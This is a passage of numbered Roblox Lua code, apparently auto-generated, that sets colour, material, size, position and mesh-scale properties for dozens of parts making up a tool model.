  2198. Part56.CFrame = CFrame.new(144.186279, 3.97324896, 144.324265, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2199. Part56.BottomSurface = Enum.SurfaceType.Smooth
  2200. Part56.TopSurface = Enum.SurfaceType.Smooth
  2201. Part56.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2202. Part56.Position = Vector3.new(144.186279, 3.97324896, 144.324265)
  2203. Part56.Orientation = Vector3.new(-90, 90, 0)
  2204. Part56.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2205. BlockMesh57.Parent = Part56
  2206. BlockMesh57.Scale = Vector3.new(0.266666532, 1, 0.166666672)
  2207. BlockMesh57.Scale = Vector3.new(0.266666532, 1, 0.166666672)
  2208. Part58.Parent = Tool0
  2209. Part58.Material = Enum.Material.Metal
  2210. Part58.BrickColor = BrickColor.new("Dark stone grey")
  2211. Part58.Rotation = Vector3.new(90, 0, -90)
  2212. Part58.Anchored = true
  2213. Part58.FormFactor = Enum.FormFactor.Custom
  2214. Part58.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2215. Part58.CFrame = CFrame.new(144.389603, 3.99991298, 144.487595, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2216. Part58.BottomSurface = Enum.SurfaceType.Smooth
  2217. Part58.TopSurface = Enum.SurfaceType.Smooth
  2218. Part58.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2219. Part58.Position = Vector3.new(144.389603, 3.99991298, 144.487595)
  2220. Part58.Orientation = Vector3.new(90, 90, 0)
  2221. Part58.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2222. SpecialMesh59.Parent = Part58
  2223. SpecialMesh59.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
  2224. SpecialMesh59.MeshType = Enum.MeshType.Wedge
  2225. SpecialMesh59.Scale = Vector3.new(0.166666299, 0.833333671, 0.100000083)
  2226. Part60.Parent = Tool0
  2227. Part60.Material = Enum.Material.Metal
  2228. Part60.BrickColor = BrickColor.new("Dark stone grey")
  2229. Part60.Rotation = Vector3.new(-90, 0, 90)
  2230. Part60.Anchored = true
  2231. Part60.FormFactor = Enum.FormFactor.Custom
  2232. Part60.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
  2233. Part60.CFrame = CFrame.new(145.319595, 3.83324599, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2234. Part60.BottomSurface = Enum.SurfaceType.Smooth
  2235. Part60.TopSurface = Enum.SurfaceType.Smooth
  2236. Part60.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2237. Part60.Position = Vector3.new(145.319595, 3.83324599, 144.39093)
  2238. Part60.Orientation = Vector3.new(-90, 90, 0)
  2239. Part60.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2240. CylinderMesh61.Parent = Part60
  2241. CylinderMesh61.Scale = Vector3.new(0.586666465, 1, 0.403333157)
  2242. CylinderMesh61.Scale = Vector3.new(0.586666465, 1, 0.403333157)
  2243. Part62.Parent = Tool0
  2244. Part62.Material = Enum.Material.Metal
  2245. Part62.BrickColor = BrickColor.new("Black")
  2246. Part62.Rotation = Vector3.new(-90, -15.0099993, 0)
  2247. Part62.Anchored = true
  2248. Part62.FormFactor = Enum.FormFactor.Custom
  2249. Part62.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2250. Part62.CFrame = CFrame.new(143.101059, 3.81787395, 144.4776, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
  2251. Part62.BottomSurface = Enum.SurfaceType.Smooth
  2252. Part62.TopSurface = Enum.SurfaceType.Smooth
  2253. Part62.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2254. Part62.Position = Vector3.new(143.101059, 3.81787395, 144.4776)
  2255. Part62.Orientation = Vector3.new(-74.9899979, -90, 90)
  2256. Part62.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2257. CylinderMesh63.Parent = Part62
  2258. CylinderMesh63.Scale = Vector3.new(3.33333373, 0.166666359, 0.333333343)
  2259. CylinderMesh63.Scale = Vector3.new(3.33333373, 0.166666359, 0.333333343)
  2260. Part64.Parent = Tool0
  2261. Part64.Material = Enum.Material.Metal
  2262. Part64.BrickColor = BrickColor.new("Dark stone grey")
  2263. Part64.Rotation = Vector3.new(90, 0, -180)
  2264. Part64.Anchored = true
  2265. Part64.FormFactor = Enum.FormFactor.Custom
  2266. Part64.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2267. Part64.CFrame = CFrame.new(143.156265, 4.01324177, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2268. Part64.BottomSurface = Enum.SurfaceType.Smooth
  2269. Part64.TopSurface = Enum.SurfaceType.Smooth
  2270. Part64.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2271. Part64.Position = Vector3.new(143.156265, 4.01324177, 144.347595)
  2272. Part64.Orientation = Vector3.new(90, 180, 0)
  2273. Part64.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2274. BlockMesh65.Parent = Part64
  2275. BlockMesh65.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  2276. BlockMesh65.Scale = Vector3.new(0.0999999717, 0.0333333351, 0.166666672)
  2277. Part66.Parent = Tool0
  2278. Part66.Material = Enum.Material.Metal
  2279. Part66.BrickColor = BrickColor.new("Dark stone grey")
  2280. Part66.Rotation = Vector3.new(90, 0, -180)
  2281. Part66.Anchored = true
  2282. Part66.FormFactor = Enum.FormFactor.Custom
  2283. Part66.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2284. Part66.CFrame = CFrame.new(143.222946, 4.05991077, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2285. Part66.BottomSurface = Enum.SurfaceType.Smooth
  2286. Part66.TopSurface = Enum.SurfaceType.Smooth
  2287. Part66.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2288. Part66.Position = Vector3.new(143.222946, 4.05991077, 144.39093)
  2289. Part66.Orientation = Vector3.new(90, 180, 0)
  2290. Part66.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2291. BlockMesh67.Parent = Part66
  2292. BlockMesh67.Scale = Vector3.new(0.0233333316, 0.0666666701, 0.0599999949)
  2293. BlockMesh67.Scale = Vector3.new(0.0233333316, 0.0666666701, 0.0599999949)
  2294. Part68.Parent = Tool0
  2295. Part68.Material = Enum.Material.Metal
  2296. Part68.BrickColor = BrickColor.new("Dark stone grey")
  2297. Part68.Rotation = Vector3.new(-90, -90, 0)
  2298. Part68.Anchored = true
  2299. Part68.FormFactor = Enum.FormFactor.Custom
  2300. Part68.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2301. Part68.CFrame = CFrame.new(144.562943, 3.93990898, 144.474274, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2302. Part68.BottomSurface = Enum.SurfaceType.Smooth
  2303. Part68.TopSurface = Enum.SurfaceType.Smooth
  2304. Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2305. Part68.Position = Vector3.new(144.562943, 3.93990898, 144.474274)
  2306. Part68.Orientation = Vector3.new(0, -90, 90)
  2307. Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2308. BlockMesh69.Parent = Part68
  2309. BlockMesh69.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  2310. BlockMesh69.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  2311. Part70.Parent = Tool0
  2312. Part70.Material = Enum.Material.Metal
  2313. Part70.BrickColor = BrickColor.new("Dark stone grey")
  2314. Part70.Rotation = Vector3.new(90, 0, -180)
  2315. Part70.Anchored = true
  2316. Part70.FormFactor = Enum.FormFactor.Custom
  2317. Part70.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2318. Part70.CFrame = CFrame.new(143.239609, 4.01657677, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2319. Part70.BottomSurface = Enum.SurfaceType.Smooth
  2320. Part70.TopSurface = Enum.SurfaceType.Smooth
  2321. Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2322. Part70.Position = Vector3.new(143.239609, 4.01657677, 144.347595)
  2323. Part70.Orientation = Vector3.new(90, 180, 0)
  2324. Part70.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2325. BlockMesh71.Parent = Part70
  2326. BlockMesh71.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  2327. BlockMesh71.Scale = Vector3.new(0.0666666701, 0.0333333351, 0.200000018)
  2328. Part72.Parent = Tool0
  2329. Part72.Material = Enum.Material.Metal
  2330. Part72.BrickColor = BrickColor.new("Black")
  2331. Part72.Rotation = Vector3.new(-90, -15.0099993, -90)
  2332. Part72.Anchored = true
  2333. Part72.FormFactor = Enum.FormFactor.Custom
  2334. Part72.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2335. Part72.CFrame = CFrame.new(143.124802, 3.89670396, 144.4776, 0, 0.965896666, -0.258930802, 0, 0.258930802, 0.965896666, 1, 0, -0)
  2336. Part72.BottomSurface = Enum.SurfaceType.Smooth
  2337. Part72.TopSurface = Enum.SurfaceType.Smooth
  2338. Part72.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2339. Part72.Position = Vector3.new(143.124802, 3.89670396, 144.4776)
  2340. Part72.Orientation = Vector3.new(-74.9899979, -90, 0)
  2341. Part72.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2342. SpecialMesh73.Parent = Part72
  2343. SpecialMesh73.Scale = Vector3.new(0.166666433, 0.100000009, 0.666666746)
  2344. SpecialMesh73.MeshType = Enum.MeshType.Wedge
  2345. SpecialMesh73.Scale = Vector3.new(0.166666433, 0.100000009, 0.666666746)
  2346. Part74.Parent = Tool0
  2347. Part74.Material = Enum.Material.Metal
  2348. Part74.BrickColor = BrickColor.new("Black")
  2349. Part74.Rotation = Vector3.new(-90, 0, 90)
  2350. Part74.Anchored = true
  2351. Part74.FormFactor = Enum.FormFactor.Custom
  2352. Part74.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2353. Part74.CFrame = CFrame.new(144.92627, 3.79991198, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2354. Part74.BottomSurface = Enum.SurfaceType.Smooth
  2355. Part74.TopSurface = Enum.SurfaceType.Smooth
  2356. Part74.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2357. Part74.Position = Vector3.new(144.92627, 3.79991198, 144.39093)
  2358. Part74.Orientation = Vector3.new(-90, 90, 0)
  2359. Part74.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2360. BlockMesh75.Parent = Part74
  2361. BlockMesh75.Scale = Vector3.new(0.733332694, 0.933333397, 0.166666672)
  2362. BlockMesh75.Scale = Vector3.new(0.733332694, 0.933333397, 0.166666672)
  2363. Part76.Parent = Tool0
  2364. Part76.Material = Enum.Material.Metal
  2365. Part76.BrickColor = BrickColor.new("Black")
  2366. Part76.Rotation = Vector3.new(0, 90, 0)
  2367. Part76.Anchored = true
  2368. Part76.FormFactor = Enum.FormFactor.Custom
  2369. Part76.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2370. Part76.CFrame = CFrame.new(144.469604, 3.84324098, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2371. Part76.BottomSurface = Enum.SurfaceType.Smooth
  2372. Part76.TopSurface = Enum.SurfaceType.Smooth
  2373. Part76.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2374. Part76.Position = Vector3.new(144.469604, 3.84324098, 144.500931)
  2375. Part76.Orientation = Vector3.new(0, 90, 0)
  2376. Part76.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2377. BlockMesh77.Parent = Part76
  2378. BlockMesh77.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  2379. BlockMesh77.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  2380. Part78.Parent = Tool0
  2381. Part78.Material = Enum.Material.Metal
  2382. Part78.BrickColor = BrickColor.new("Dark stone grey")
  2383. Part78.Rotation = Vector3.new(90, 0, -180)
  2384. Part78.Anchored = true
  2385. Part78.FormFactor = Enum.FormFactor.Custom
  2386. Part78.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2387. Part78.CFrame = CFrame.new(143.222946, 4.0665741, 144.420929, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2388. Part78.BottomSurface = Enum.SurfaceType.Smooth
  2389. Part78.TopSurface = Enum.SurfaceType.Smooth
  2390. Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2391. Part78.Position = Vector3.new(143.222946, 4.0665741, 144.420929)
  2392. Part78.Orientation = Vector3.new(90, 180, 0)
  2393. Part78.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2394. BlockMesh79.Parent = Part78
  2395. BlockMesh79.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  2396. BlockMesh79.Scale = Vector3.new(0.0233333316, 0.0433333293, 0.0333333351)
  2397. Part80.Parent = Tool0
  2398. Part80.Material = Enum.Material.Metal
  2399. Part80.BrickColor = BrickColor.new("Dark stone grey")
  2400. Part80.Rotation = Vector3.new(90, 0, -180)
  2401. Part80.Anchored = true
  2402. Part80.FormFactor = Enum.FormFactor.Custom
  2403. Part80.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2404. Part80.CFrame = CFrame.new(143.222946, 4.08657122, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2405. Part80.BottomSurface = Enum.SurfaceType.Smooth
  2406. Part80.TopSurface = Enum.SurfaceType.Smooth
  2407. Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2408. Part80.Position = Vector3.new(143.222946, 4.08657122, 144.39093)
  2409. Part80.Orientation = Vector3.new(90, 180, 0)
  2410. Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2411. BlockMesh81.Parent = Part80
  2412. BlockMesh81.Scale = Vector3.new(0.0233333316, 0.266666651, 0.0599999949)
  2413. BlockMesh81.Scale = Vector3.new(0.0233333316, 0.266666651, 0.0599999949)
  2414. Part82.Parent = Tool0
  2415. Part82.Material = Enum.Material.Metal
  2416. Part82.BrickColor = BrickColor.new("Dark stone grey")
  2417. Part82.Rotation = Vector3.new(90, 0, -180)
  2418. Part82.Anchored = true
  2419. Part82.FormFactor = Enum.FormFactor.Custom
  2420. Part82.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2421. Part82.CFrame = CFrame.new(143.1996, 4.04323912, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2422. Part82.BottomSurface = Enum.SurfaceType.Smooth
  2423. Part82.TopSurface = Enum.SurfaceType.Smooth
  2424. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2425. Part82.Position = Vector3.new(143.1996, 4.04323912, 144.347595)
  2426. Part82.Orientation = Vector3.new(90, 180, 0)
  2427. Part82.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2428. BlockMesh83.Parent = Part82
  2429. BlockMesh83.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  2430. BlockMesh83.Scale = Vector3.new(0.333333373, 0.0333333351, 0.0666666701)
  2431. Part84.Parent = Tool0
  2432. Part84.Material = Enum.Material.Metal
  2433. Part84.BrickColor = BrickColor.new("Dark stone grey")
  2434. Part84.Rotation = Vector3.new(90, 0, -180)
  2435. Part84.Anchored = true
  2436. Part84.FormFactor = Enum.FormFactor.Custom
  2437. Part84.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2438. Part84.CFrame = CFrame.new(143.219604, 3.97324896, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2439. Part84.BottomSurface = Enum.SurfaceType.Smooth
  2440. Part84.TopSurface = Enum.SurfaceType.Smooth
  2441. Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2442. Part84.Position = Vector3.new(143.219604, 3.97324896, 144.39093)
  2443. Part84.Orientation = Vector3.new(90, 180, 0)
  2444. Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2445. BlockMesh85.Parent = Part84
  2446. BlockMesh85.Scale = Vector3.new(0.99999994, 0.73333329, 0.166666657)
  2447. BlockMesh85.Scale = Vector3.new(0.99999994, 0.73333329, 0.166666657)
  2448. Part86.Parent = Tool0
  2449. Part86.Material = Enum.Material.Metal
  2450. Part86.BrickColor = BrickColor.new("Dark stone grey")
  2451. Part86.Rotation = Vector3.new(90, 0, -180)
  2452. Part86.Anchored = true
  2453. Part86.FormFactor = Enum.FormFactor.Custom
  2454. Part86.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2455. Part86.CFrame = CFrame.new(144.936279, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2456. Part86.BottomSurface = Enum.SurfaceType.Smooth
  2457. Part86.TopSurface = Enum.SurfaceType.Smooth
  2458. Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2459. Part86.Position = Vector3.new(144.936279, 4.00324106, 144.337601)
  2460. Part86.Orientation = Vector3.new(90, 180, 0)
  2461. Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2462. BlockMesh87.Parent = Part86
  2463. BlockMesh87.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  2464. BlockMesh87.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
  2465. Part88.Parent = Tool0
  2466. Part88.Material = Enum.Material.Metal
  2467. Part88.BrickColor = BrickColor.new("Dark stone grey")
  2468. Part88.Rotation = Vector3.new(90, 0, -180)
  2469. Part88.Anchored = true
  2470. Part88.FormFactor = Enum.FormFactor.Custom
  2471. Part88.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2472. Part88.CFrame = CFrame.new(143.162933, 4.03324223, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2473. Part88.BottomSurface = Enum.SurfaceType.Smooth
  2474. Part88.TopSurface = Enum.SurfaceType.Smooth
  2475. Part88.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2476. Part88.Position = Vector3.new(143.162933, 4.03324223, 144.434265)
  2477. Part88.Orientation = Vector3.new(90, 180, 0)
  2478. Part88.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2479. CylinderMesh89.Parent = Part88
  2480. CylinderMesh89.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  2481. CylinderMesh89.Scale = Vector3.new(0.166666687, 0.0333333351, 0.166666672)
  2482. Part90.Parent = Tool0
  2483. Part90.Material = Enum.Material.Metal
  2484. Part90.BrickColor = BrickColor.new("Dark stone grey")
  2485. Part90.Rotation = Vector3.new(90, 0, -180)
  2486. Part90.Anchored = true
  2487. Part90.FormFactor = Enum.FormFactor.Custom
  2488. Part90.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2489. Part90.CFrame = CFrame.new(143.222946, 4.02657318, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2490. Part90.BottomSurface = Enum.SurfaceType.Smooth
  2491. Part90.TopSurface = Enum.SurfaceType.Smooth
  2492. Part90.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2493. Part90.Position = Vector3.new(143.222946, 4.02657318, 144.39093)
  2494. Part90.Orientation = Vector3.new(90, 180, 0)
  2495. Part90.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2496. BlockMesh91.Parent = Part90
  2497. BlockMesh91.Scale = Vector3.new(0.0333333351, 0.400000066, 0.300000012)
  2498. BlockMesh91.Scale = Vector3.new(0.0333333351, 0.400000066, 0.300000012)
  2499. Part92.Parent = Tool0
  2500. Part92.Material = Enum.Material.Metal
  2501. Part92.BrickColor = BrickColor.new("Black")
  2502. Part92.Rotation = Vector3.new(-90, -90, 0)
  2503. Part92.Anchored = true
  2504. Part92.FormFactor = Enum.FormFactor.Custom
  2505. Part92.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2506. Part92.CFrame = CFrame.new(144.409607, 3.79658198, 144.28093, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2507. Part92.BottomSurface = Enum.SurfaceType.Smooth
  2508. Part92.TopSurface = Enum.SurfaceType.Smooth
  2509. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2510. Part92.Position = Vector3.new(144.409607, 3.79658198, 144.28093)
  2511. Part92.Orientation = Vector3.new(0, -90, 90)
  2512. Part92.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2513. BlockMesh93.Parent = Part92
  2514. BlockMesh93.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  2515. BlockMesh93.Scale = Vector3.new(0.333333194, 0.0333333388, 0.766666472)
  2516. Part94.Parent = Tool0
  2517. Part94.Material = Enum.Material.Metal
  2518. Part94.BrickColor = BrickColor.new("Dark stone grey")
  2519. Part94.Rotation = Vector3.new(90, 0, -180)
  2520. Part94.Anchored = true
  2521. Part94.FormFactor = Enum.FormFactor.Custom
  2522. Part94.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2523. Part94.CFrame = CFrame.new(143.196274, 4.01657677, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2524. Part94.BottomSurface = Enum.SurfaceType.Smooth
  2525. Part94.TopSurface = Enum.SurfaceType.Smooth
  2526. Part94.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2527. Part94.Position = Vector3.new(143.196274, 4.01657677, 144.347595)
  2528. Part94.Orientation = Vector3.new(90, 180, 0)
  2529. Part94.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2530. BlockMesh95.Parent = Part94
  2531. BlockMesh95.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  2532. BlockMesh95.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  2533. Part96.Parent = Tool0
  2534. Part96.Material = Enum.Material.Metal
  2535. Part96.BrickColor = BrickColor.new("Really black")
  2536. Part96.Rotation = Vector3.new(-90, 0, -90)
  2537. Part96.Anchored = true
  2538. Part96.FormFactor = Enum.FormFactor.Custom
  2539. Part96.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2540. Part96.CFrame = CFrame.new(145.482986, 3.83138299, 144.39093, 0, 1.00000083, 1.49011612e-08, 0, -1.49011612e-08, 1.00000083, 1, 0, 0)
  2541. Part96.BottomSurface = Enum.SurfaceType.Smooth
  2542. Part96.TopSurface = Enum.SurfaceType.Smooth
  2543. Part96.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2544. Part96.Position = Vector3.new(145.482986, 3.83138299, 144.39093)
  2545. Part96.Orientation = Vector3.new(-90, -90, 0)
  2546. Part96.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2547. CylinderMesh97.Parent = Part96
  2548. CylinderMesh97.Scale = Vector3.new(0.319999903, 0.036666669, 0.21999988)
  2549. CylinderMesh97.Scale = Vector3.new(0.319999903, 0.036666669, 0.21999988)
  2550. Part98.Parent = Tool0
  2551. Part98.Material = Enum.Material.Metal
  2552. Part98.BrickColor = BrickColor.new("Black")
  2553. Part98.Rotation = Vector3.new(90, 0, 90)
  2554. Part98.Anchored = true
  2555. Part98.FormFactor = Enum.FormFactor.Custom
  2556. Part98.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2557. Part98.CFrame = CFrame.new(143.77626, 3.40990996, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  2558. Part98.BottomSurface = Enum.SurfaceType.Smooth
  2559. Part98.TopSurface = Enum.SurfaceType.Smooth
  2560. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2561. Part98.Position = Vector3.new(143.77626, 3.40990996, 144.39093)
  2562. Part98.Orientation = Vector3.new(90, -90, 0)
  2563. Part98.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2564. BlockMesh99.Parent = Part98
  2565. BlockMesh99.Scale = Vector3.new(0.666666687, 0.100000024, 0.333333343)
  2566. BlockMesh99.Scale = Vector3.new(0.666666687, 0.100000024, 0.333333343)
  2567. Part100.Parent = Tool0
  2568. Part100.Material = Enum.Material.Metal
  2569. Part100.BrickColor = BrickColor.new("Dark stone grey")
  2570. Part100.Rotation = Vector3.new(90, 0, -180)
  2571. Part100.Anchored = true
  2572. Part100.FormFactor = Enum.FormFactor.Custom
  2573. Part100.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2574. Part100.CFrame = CFrame.new(143.219604, 4.02658176, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2575. Part100.BottomSurface = Enum.SurfaceType.Smooth
  2576. Part100.TopSurface = Enum.SurfaceType.Smooth
  2577. Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2578. Part100.Position = Vector3.new(143.219604, 4.02658176, 144.324265)
  2579. Part100.Orientation = Vector3.new(90, 180, 0)
  2580. Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2581. CylinderMesh101.Parent = Part100
  2582. CylinderMesh101.Scale = Vector3.new(30, 0.0666662827, 1)
  2583. CylinderMesh101.Scale = Vector3.new(30, 0.0666662827, 1)
  2584. Part102.Parent = Tool0
  2585. Part102.Material = Enum.Material.Metal
  2586. Part102.BrickColor = BrickColor.new("Dark stone grey")
  2587. Part102.Rotation = Vector3.new(90, 0, -180)
  2588. Part102.Anchored = true
  2589. Part102.FormFactor = Enum.FormFactor.Custom
  2590. Part102.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2591. Part102.CFrame = CFrame.new(143.219604, 4.04324293, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2592. Part102.BottomSurface = Enum.SurfaceType.Smooth
  2593. Part102.TopSurface = Enum.SurfaceType.Smooth
  2594. Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2595. Part102.Position = Vector3.new(143.219604, 4.04324293, 144.337601)
  2596. Part102.Orientation = Vector3.new(90, 180, 0)
  2597. Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2598. BlockMesh103.Parent = Part102
  2599. BlockMesh103.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  2600. BlockMesh103.Scale = Vector3.new(0.600000143, 0.0666662827, 0.200000033)
  2601. Part104.Parent = Tool0
  2602. Part104.Material = Enum.Material.Metal
  2603. Part104.BrickColor = BrickColor.new("Dark stone grey")
  2604. Part104.Rotation = Vector3.new(90, 0, -180)
  2605. Part104.Anchored = true
  2606. Part104.FormFactor = Enum.FormFactor.Custom
  2607. Part104.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2608. Part104.CFrame = CFrame.new(143.196274, 4.01657677, 144.434265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2609. Part104.BottomSurface = Enum.SurfaceType.Smooth
  2610. Part104.TopSurface = Enum.SurfaceType.Smooth
  2611. Part104.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2612. Part104.Position = Vector3.new(143.196274, 4.01657677, 144.434265)
  2613. Part104.Orientation = Vector3.new(90, 180, 0)
  2614. Part104.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2615. BlockMesh105.Parent = Part104
  2616. BlockMesh105.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  2617. BlockMesh105.Scale = Vector3.new(0.299999982, 0.0333333351, 0.200000018)
  2618. Part106.Parent = Tool0
  2619. Part106.Material = Enum.Material.Metal
  2620. Part106.BrickColor = BrickColor.new("Black")
  2621. Part106.Rotation = Vector3.new(-90, 0, 90)
  2622. Part106.Anchored = true
  2623. Part106.FormFactor = Enum.FormFactor.Custom
  2624. Part106.Size = Vector3.new(0.213333324, 0.200000003, 0.200000003)
  2625. Part106.CFrame = CFrame.new(143.67627, 3.76324797, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2626. Part106.BottomSurface = Enum.SurfaceType.Smooth
  2627. Part106.TopSurface = Enum.SurfaceType.Smooth
  2628. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2629. Part106.Position = Vector3.new(143.67627, 3.76324797, 144.39093)
  2630. Part106.Orientation = Vector3.new(-90, 90, 0)
  2631. Part106.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2632. BlockMesh107.Parent = Part106
  2633. BlockMesh107.Scale = Vector3.new(1, 0.10000024, 0.333333373)
  2634. BlockMesh107.Scale = Vector3.new(1, 0.10000024, 0.333333373)
  2635. Part108.Parent = Tool0
  2636. Part108.Material = Enum.Material.Metal
  2637. Part108.BrickColor = BrickColor.new("Dark stone grey")
  2638. Part108.Rotation = Vector3.new(90, 0, 90)
  2639. Part108.Anchored = true
  2640. Part108.FormFactor = Enum.FormFactor.Custom
  2641. Part108.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2642. Part108.CFrame = CFrame.new(143.042938, 3.86991811, 144.387604, 0, -1, 0, 0, 0, -1, 1, 0, 0)
  2643. Part108.BottomSurface = Enum.SurfaceType.Smooth
  2644. Part108.TopSurface = Enum.SurfaceType.Smooth
  2645. Part108.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2646. Part108.Position = Vector3.new(143.042938, 3.86991811, 144.387604)
  2647. Part108.Orientation = Vector3.new(90, -90, 0)
  2648. Part108.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2649. CylinderMesh109.Parent = Part108
  2650. CylinderMesh109.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  2651. CylinderMesh109.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
  2652. Part110.Parent = Tool0
  2653. Part110.Material = Enum.Material.Metal
  2654. Part110.BrickColor = BrickColor.new("Dark stone grey")
  2655. Part110.Rotation = Vector3.new(90, 0, -90)
  2656. Part110.Anchored = true
